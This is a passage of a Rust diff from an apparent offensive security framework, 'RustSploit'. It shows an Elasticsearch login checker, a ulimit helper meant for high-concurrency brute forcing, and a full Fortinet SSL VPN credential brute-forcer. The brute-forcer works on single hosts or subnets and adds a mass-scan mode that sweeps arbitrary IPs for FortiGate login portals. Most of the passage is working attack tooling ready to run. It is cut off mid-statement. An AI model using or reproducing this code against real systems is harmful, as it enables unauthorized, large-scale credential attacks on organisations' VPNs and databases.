||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_es_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Try the security authenticate endpoint first
|
||||
let auth_url = format!("{}/_security/_authenticate", base_url);
|
||||
let auth_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&auth_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
||||
// Connection error — fall through to root endpoint check
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = auth_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
// Verify we got a valid JSON response with authentication info
|
||||
let body = match tokio::time::timeout(timeout_duration, auth_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
if body.contains("username") || body.contains("roles") || body.contains("enabled") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but unexpected body — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
401 => return Ok(false),
|
||||
403 => {
|
||||
// 403 could mean valid creds but insufficient privileges for security API
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
404 => {
|
||||
// Security plugin not installed — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
_ => {
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Fallback: try authenticating against the Elasticsearch root endpoint `/`.
|
||||
/// A successful auth returns JSON with `cluster_name`.
|
||||
async fn try_es_root_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client: &reqwest::Client,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let root_url = format!("{}/", base_url);
|
||||
let resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&root_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(r)) => r,
|
||||
Ok(Err(e)) => return Err(anyhow!("Connection error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// Elasticsearch root returns JSON with cluster_name when authenticated
|
||||
if body.contains("cluster_name") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,26 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
use rlimit::Resource;
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "System Ulimit Configuration".to_string(),
|
||||
description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
@@ -17,39 +28,22 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
println!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
let (soft, hard) = Resource::NOFILE.get()
|
||||
.map_err(|e| anyhow!("Failed to get current limits: {}", e))?;
|
||||
Ok((soft, hard))
|
||||
}
|
||||
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Resource::NOFILE.set(soft, hard)
|
||||
.map_err(|e| anyhow!("Failed to set limits: {}", e))
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
@@ -60,19 +54,19 @@ async fn raise_ulimit() -> Result<()> {
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
@@ -86,26 +80,26 @@ async fn raise_ulimit() -> Result<()> {
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -113,28 +107,28 @@ async fn raise_ulimit() -> Result<()> {
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
|
||||
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
crate::mprintln!("{}", " ulimit -n 65535".white());
|
||||
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
crate::mprintln!("{}", " * soft nofile 65535".white());
|
||||
crate::mprintln!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,181 +1,380 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_wordlist, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target, url_encode,
|
||||
};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use regex::Regex;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use reqwest::{redirect::Policy, ClientBuilder};
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Fortinet SSL VPN Brute Force".to_string(),
|
||||
description: "Brute-force Fortinet FortiGate SSL VPN web authentication. Tests credentials against the FortiOS login portal with certificate pinning, realm support, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Fortinet SSL VPN Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FortiGate Web Login Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
|
||||
.parse().unwrap_or(443);
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FortiGate",
|
||||
default_port: 443,
|
||||
state_file: "fortinet_hose_state.log",
|
||||
default_output: "fortinet_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let url = format!("https://{}:{}/remote/logincheck", ip, port);
|
||||
let client =
|
||||
crate::utils::build_http_client(std::time::Duration::from_secs(5)).ok()?;
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 401 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
Some(format!(
|
||||
"[{}] {}:{} FortiGate login page found\n",
|
||||
ts, ip, port
|
||||
))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"fortinet_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "fortinet-vpn",
|
||||
source_module: "creds/generic/fortinet_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("https://{}:{}", ip, port);
|
||||
match try_fortinet_login(
|
||||
&base_url,
|
||||
&user,
|
||||
&pass,
|
||||
&realm,
|
||||
&trusted_cert,
|
||||
timeout_dur,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
|
||||
// Port
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
// Protocol-specific: realm and trusted certificate
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
// Wordlists
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist path").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist path").await?;
|
||||
|
||||
// Concurrency and timeout
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
// Stop on first success
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
|
||||
// Save results and output file
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file name", "fortinet_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
|
||||
|
||||
// Optional prompts
|
||||
// We don't have prompt_optional in shared utils yet?
|
||||
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
|
||||
// Actually utils has prompt_default. If user enters empty, it returns default.
|
||||
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
|
||||
// Let's implement a quick local helper or use prompt_default("", "") if that works.
|
||||
// The previous code had `prompt_optional`.
|
||||
// I will use prompt_default with empty default and check for empty string.
|
||||
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
|
||||
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
|
||||
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
|
||||
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
|
||||
// Verbose
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
// Combo mode
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every password with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
// Load wordlists
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", users.len()).green()
|
||||
);
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
let combos = generate_combos(&users, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
|
||||
println!();
|
||||
let normalized = normalize_target(target)?;
|
||||
let target_host = normalized.clone();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}:{}", target_host, port).cyan()
|
||||
);
|
||||
|
||||
// Build the try_login closure that captures Fortinet-specific state
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url =
|
||||
build_fortinet_url(&t, p).unwrap_or_else(|_| format!("https://{}:{}", t, p));
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout_dur)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100,
|
||||
max_retries: 2,
|
||||
service_name: "fortinet-vpn",
|
||||
source_module: "creds/generic/fortinet_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Work generation
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
let user = &users[i % users.len()];
|
||||
let pass = &passwords[i % passwords.len()];
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Fortinet responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
